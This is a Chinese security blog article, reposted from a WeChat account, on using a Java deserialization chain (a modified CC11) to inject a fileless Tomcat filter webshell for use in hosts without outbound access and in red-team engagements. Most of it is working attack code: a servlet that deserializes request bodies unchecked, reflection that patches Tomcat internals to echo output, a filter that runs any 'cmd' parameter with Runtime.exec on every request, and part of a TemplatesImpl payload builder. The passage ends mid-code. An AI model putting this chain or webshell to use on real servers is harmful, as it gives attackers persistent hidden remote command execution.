Java安全—反序列化打内存马

admin 2026-09-25 05:14:23 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍利用Java反序列化漏洞注入内存马的技术,结合CC11链实现文件不落地的内存马注入,重点解决回显问题,通过修改Tomcat内部字段实现半通用回显,并注入Filter类型内存马,适用于不出网场景和攻防对抗。 综合评分: 75 文章分类: 漏洞分析,红队,代码审计


Java安全—反序列化打内存马

原创

lys lys

绿洲安全

2026年9月22日 08:30 北京

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

免责声明

由于传播、利用本公众号绿洲安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号绿洲安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢

文章转自:https://drun1baby.top/2022/11/29/Java-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%89%93%E5%86%85%E5%AD%98%E9%A9%AC/

0x01 前言

当然看这道题目的最主要原因是因为内存马的应用面太广了,很多不出网的场景、以及攻防的场景都可以用到。

像之前的文章,Tomcat 的三种内存马,实际上都只是一种简单的实验,而非完全能够应用,就算应用起来也是有文件落地现象的,这并非是真正的内存马。

而且在之前 2022 祥云杯上,也出了一道 Java CC4 链的不出网写内存马的题目,处于相当好奇的原因,写下了这篇文章。

所以在这篇文章中,我们来学习利用反序列化来实现真正意义上的内存马的注入,本文中会结合 cc11 来进行内存马注入,这样可以实现真正的文件不落地,在上文利用 jsp 注入的时候由于 request 和 response 是 jsp 的内置对象,所以在回显问题上不用考虑,但是当我们结合反序列化进行注入的时候这些都成了需要考量的地方,这也是本文学习的一个点

0x02 回显问题

见上一篇

0x03 反序列化打内存马

半通用回显 Tomcat 打内存马

这里要用 web-app 的项目,并且用低版本的 Tomcat

先写一个 servlet

import javax.servlet.annotation.WebServlet;  import javax.servlet.http.HttpServlet;  import javax.servlet.http.HttpServletRequest;  import javax.servlet.http.HttpServletResponse;  import java.io.IOException;  import java.io.InputStream;  import java.io.ObjectInputStream;
@WebServlet("/cc")  public class CCServlet extends HttpServlet {      @Override      protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {          InputStream inputStream = (InputStream) req;          ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);          try {              objectInputStream.readObject();          } catch (ClassNotFoundException e) {              e.printStackTrace();          }          resp.getWriter().write("Success");      }
    @Override      protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {          InputStream inputStream = req.getInputStream();          ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);          try {              objectInputStream.readObject();          } catch (ClassNotFoundException e) {              e.printStackTrace();          }          resp.getWriter().write("Success");      }  }

接着,实现 Kingkk 师傅提出来的 Tomcat 半通用回显。这一步在 Java 回显技术的文章里面已经讲的比较清楚了。

package EXP;
import com.sun.org.apache.xalan.internal.xsltc.DOM;  import com.sun.org.apache.xalan.internal.xsltc.TransletException;  import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;  import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Modifier;
public class TomcatEcho extends AbstractTranslet {
    static {          try {              // 修改 WRAP_SAME_OBJECT 值为 true            Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");              java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");              java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers");    //获取modifiers字段              modifiersField.setAccessible(true);   //将变量设置为可访问              modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL); //取消FINAL属性              f.setAccessible(true);    //将变量设置为可访问              if (!f.getBoolean(null)) {                  f.setBoolean(null, true); //将变量设置为true              }
            // 初始化 lastServicedRequest & lastServicedResponse            c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");              f = c.getDeclaredField("lastServicedRequest");              modifiersField = f.getClass().getDeclaredField("modifiers");              modifiersField.setAccessible(true);              modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);              f.setAccessible(true);              if (f.get(null) == null) {                  f.set(null, new ThreadLocal());   //设置ThreadLocal对象              }
            f = c.getDeclaredField("lastServicedResponse");              modifiersField = f.getClass().getDeclaredField("modifiers");              modifiersField.setAccessible(true);              modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);              f.setAccessible(true);              if (f.get(null) == null) {                  f.set(null, new ThreadLocal());   //设置ThreadLocal对象              }
        } catch (Exception e) {              e.printStackTrace();          }      }      @Override      public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override      public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)              throws TransletException {
    }  }

然后是取出 request 和 response 并注入 filter,和之前 filter 内存马的写法有很多相似之处。

package EXP;
import com.sun.org.apache.xalan.internal.xsltc.DOM;  import com.sun.org.apache.xalan.internal.xsltc.TransletException;  import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;  import com.sun.org.apache.xml.internal.serializer.SerializationHandler;  import org.apache.catalina.LifecycleState;  import org.apache.catalina.core.ApplicationContext;  import org.apache.catalina.core.StandardContext;
import java.io.IOException;  import java.lang.reflect.Field;  import java.lang.reflect.Method;  import javax.servlet.Filter;  import javax.servlet.FilterChain;  import javax.servlet.FilterConfig;  import javax.servlet.ServletContext;  import javax.servlet.ServletException;  import javax.servlet.ServletRequest;  import javax.servlet.ServletResponse;
/**   * @author threedr3am   */public class TomcatInject extends AbstractTranslet implements Filter {
    /**       * webshell命令参数名       */      private final String cmdParamName = "cmd";      private final static String filterUrlPattern = "/*";      private final static String filterName = "Drunkbaby";
    static {          try {              ServletContext servletContext = getServletContext();              if (servletContext != null){                  Field ctx = servletContext.getClass().getDeclaredField("context");                  ctx.setAccessible(true);                  ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);
                Field stdctx = appctx.getClass().getDeclaredField("context");                  stdctx.setAccessible(true);                  StandardContext standardContext = (StandardContext) stdctx.get(appctx);
                if (standardContext != null){                      // 这样设置不会抛出报错                      Field stateField = org.apache.catalina.util.LifecycleBase.class                              .getDeclaredField("state");                      stateField.setAccessible(true);                      stateField.set(standardContext, LifecycleState.STARTING_PREP);
                    Filter myFilter =new TomcatInject();                      // 调用 doFilter 来动态添加我们的 Filter                    // 这里也可以利用反射来添加我们的 Filter                    javax.servlet.FilterRegistration.Dynamic filterRegistration =                              servletContext.addFilter(filterName,myFilter);
                    // 进行一些简单的设置                      filterRegistration.setInitParameter("encoding", "utf-8");                      filterRegistration.setAsyncSupported(false);                      // 设置基本的 url pattern                    filterRegistration                              .addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,                                      new String[]{"/*"});
                    // 将服务重新修改回来,不然的话服务会无法正常进行                      if (stateField != null){                          stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);                      }
                    // 在设置之后我们需要 调用 filterstart                    if (standardContext != null){                          // 设置filter之后调用 filterstart 来启动我们的 filter                        Method filterStartMethod = StandardContext.class.getDeclaredMethod("filterStart");                          filterStartMethod.setAccessible(true);                          filterStartMethod.invoke(standardContext,null);
                        /**                           * 将我们的 filtermap 插入到最前面                           */
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Class&nbsp;ccc&nbsp;=&nbsp;null; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{ &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Throwable t){} &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(ccc ==&nbsp;null) { &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{ &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ccc = Class.forName("org.apache.catalina.deploy.FilterMap"); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Throwable t){} &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;//把filter插到第一位 &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Method&nbsp;m&nbsp;=&nbsp;Class.forName("org.apache.catalina.core.StandardContext") &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .getDeclaredMethod("findFilterMaps"); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Object[] filterMaps = (Object[]) m.invoke(standardContext); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Object[] tmpFilterMaps =&nbsp;new&nbsp;Object[filterMaps.length]; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;int&nbsp;index&nbsp;=&nbsp;1; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;i&nbsp;=&nbsp;0; i < filterMaps.length; i++) { &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Object&nbsp;o&nbsp;=&nbsp;filterMaps[i]; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; m = ccc.getMethod("getFilterName"); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;String&nbsp;name&nbsp;=&nbsp;(String) m.invoke(o); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(name.equalsIgnoreCase(filterName)) { &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; tmpFilterMaps[0] = o; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{ &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; tmpFilterMaps[index++] = filterMaps[i]; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;i&nbsp;=&nbsp;0; i < filterMaps.length; i++) { &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; filterMaps[i] = tmpFilterMaps[i]; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Exception e) { &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e.printStackTrace(); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; } &nbsp;&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;private&nbsp;static&nbsp;ServletContext&nbsp;getServletContext()&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;throws&nbsp;NoSuchFieldException, IllegalAccessException, ClassNotFoundException { &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ServletRequest&nbsp;servletRequest&nbsp;=&nbsp;null; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;/*shell注入,前提需要能拿到request、response等*/&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Class&nbsp;c&nbsp;=&nbsp;Class.forName("org.apache.catalina.core.ApplicationFilterChain"); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; java.lang.reflect.Field&nbsp;f&nbsp;=&nbsp;c.getDeclaredField("lastServicedRequest"); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; f.setAccessible(true); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ThreadLocal&nbsp;threadLocal&nbsp;=&nbsp;(ThreadLocal) f.get(null); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;//不为空则意味着第一次反序列化的准备工作已成功 &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(threadLocal !=&nbsp;null&nbsp;&& threadLocal.get() !=&nbsp;null) { &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; servletRequest = (ServletRequest) threadLocal.get(); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; } &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;//如果不能去到request,则换一种方式尝试获取
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;//spring获取法1 &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(servletRequest ==&nbsp;null) { &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{ &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c = Class.forName("org.springframework.web.context.request.RequestContextHolder"); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Method&nbsp;m&nbsp;=&nbsp;c.getMethod("getRequestAttributes"); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Object&nbsp;o&nbsp;=&nbsp;m.invoke(null); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c = Class.forName("org.springframework.web.context.request.ServletRequestAttributes"); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; m = c.getMethod("getRequest"); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; servletRequest = (ServletRequest) m.invoke(o); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Throwable t) {} &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; } &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(servletRequest !=&nbsp;null) &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;servletRequest.getServletContext();
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;//spring获取法2 &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{ &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c = Class.forName("org.springframework.web.context.ContextLoader"); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Method&nbsp;m&nbsp;=&nbsp;c.getMethod("getCurrentWebApplicationContext"); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Object&nbsp;o&nbsp;=&nbsp;m.invoke(null); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c = Class.forName("org.springframework.web.context.WebApplicationContext"); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; m = c.getMethod("getServletContext"); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ServletContext&nbsp;servletContext&nbsp;=&nbsp;(ServletContext) m.invoke(o); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;servletContext; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Throwable t) {} &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;null; &nbsp;&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;@Override&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;public&nbsp;void&nbsp;transform(DOM document, SerializationHandler[] handlers)&nbsp;throws&nbsp;TransletException {
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;@Override&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;public&nbsp;void&nbsp;transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;throws&nbsp;TransletException {
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;@Override&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;public&nbsp;void&nbsp;init(FilterConfig filterConfig)&nbsp;throws&nbsp;ServletException {
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;@Override&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;public&nbsp;void&nbsp;doFilter(ServletRequest servletRequest, ServletResponse servletResponse, &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;FilterChain filterChain)&nbsp;throws&nbsp;IOException, ServletException { &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; System.out.println( &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"TomcatShellInject doFilter....................................................................."); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; String cmd; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;((cmd = servletRequest.getParameter(cmdParamName)) !=&nbsp;null) { &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Process&nbsp;process&nbsp;=&nbsp;Runtime.getRuntime().exec(cmd); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; java.io.BufferedReader&nbsp;bufferedReader&nbsp;=&nbsp;new&nbsp;java.io.BufferedReader( &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;new&nbsp;java.io.InputStreamReader(process.getInputStream())); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;StringBuilder&nbsp;stringBuilder&nbsp;=&nbsp;new&nbsp;StringBuilder(); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String line; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;((line = bufferedReader.readLine()) !=&nbsp;null) { &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; stringBuilder.append(line +&nbsp;'\n'); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; servletResponse.getOutputStream().flush(); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; servletResponse.getOutputStream().close(); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; } &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; filterChain.doFilter(servletRequest, servletResponse); &nbsp;&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;@Override&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;public&nbsp;void&nbsp;destroy()&nbsp;{
&nbsp; &nbsp; } &nbsp;}

如此一来,我们接下来只需要注入即可,这点在 《Java 回显技术》一文当中我也有提到过,必须是要通过动态加载字节码的形式,才可以打,所以这里我们用魔改的 CC11 链子

package&nbsp;EXP;
import&nbsp;com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; &nbsp;import&nbsp;org.apache.commons.collections.functors.InvokerTransformer; &nbsp;import&nbsp;org.apache.commons.collections.keyvalue.TiedMapEntry; &nbsp;import&nbsp;org.apache.commons.collections.map.LazyMap;
import&nbsp;java.io.*; &nbsp;import&nbsp;java.lang.reflect.Field; &nbsp;import&nbsp;java.util.HashMap; &nbsp;import&nbsp;java.util.HashSet;
@SuppressWarnings("all")&nbsp;&nbsp;public&nbsp;class&nbsp;CC11Template&nbsp;{
&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;main(String[] args)&nbsp;throws&nbsp;Exception { &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;byte[] bytes = getBytes(); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;byte[][] targetByteCodes =&nbsp;new&nbsp;byte[][]{bytes}; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;TemplatesImpl&nbsp;templates&nbsp;=&nbsp;TemplatesImpl.class.newInstance();
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Field&nbsp;f0&nbsp;=&nbsp;templates.getClass().getDeclaredField("_bytecodes"); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; f0.setAccessible(true); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; f0.set(templates,targetByteCodes);
&nbsp; &nbsp; &nbsp; &nbsp; f0 = templates.getClass().getDeclaredField("_name"); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; f0.setAccessible(true); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; f0.set(templates,"name");
&nbsp; &nbsp; &nbsp; &nbsp; f0 = templates.getClass().getDeclaredField("_class"); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; f0.setAccessible(true); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; f0.set(templates,null);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 利用反射调用 templates 中的 newTransformer 方法 &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;InvokerTransformer&nbsp;transformer&nbsp;=&nbsp;new&nbsp;InvokerTransformer("asdfasdfasdf",&nbsp;new&nbsp;Class[0],&nbsp;new&nbsp;Object[0]); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;HashMap&nbsp;innermap&nbsp;=&nbsp;new&nbsp;HashMap(); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;LazyMap&nbsp;map&nbsp;=&nbsp;(LazyMap)LazyMap.decorate(innermap,transformer); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;TiedMapEntry&nbsp;tiedmap&nbsp;=&nbsp;new&nbsp;TiedMapEntry(map,templates); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;HashSet&nbsp;hashset&nbsp;=&nbsp;new&nbsp;HashSet(1); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; hashset.add("foo"); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 我们要设置 HashSet 的 map 为我们的 HashMap &nbsp; &nbsp; &nbsp; &nbsp;Field f = null; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{ &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; f = HashSet.class.getDeclaredField("map"); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(NoSuchFieldException e) { &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; f = HashSet.class.getDeclaredField("backingMap"); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; } &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; f.setAccessible(true); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;HashMap&nbsp;hashset_map&nbsp;=&nbsp;(HashMap) f.get(hashset);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Field&nbsp;f2&nbsp;=&nbsp;null; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{ &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; f2 = HashMap.class.getDeclaredField("table"); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(NoSuchFieldException e) { &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; f2 = HashMap.class.getDeclaredField("elementData"); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; f2.setAccessible(true); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; Object[] array = (Object[])f2.get(hashset_map);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Object&nbsp;node&nbsp;=&nbsp;array[0]; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if(node ==&nbsp;null){ &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; node = array[1]; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; } &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Field&nbsp;keyField&nbsp;=&nbsp;null; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try{ &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; keyField = node.getClass().getDeclaredField("key"); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; }catch(Exception e){ &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; } &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; keyField.setAccessible(true); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; keyField.set(node,tiedmap);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 在 invoke 之后, &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Field&nbsp;f3&nbsp;=&nbsp;transformer.getClass().getDeclaredField("iMethodName"); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; f3.setAccessible(true); &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; f3.set(transformer,"newTransformer");
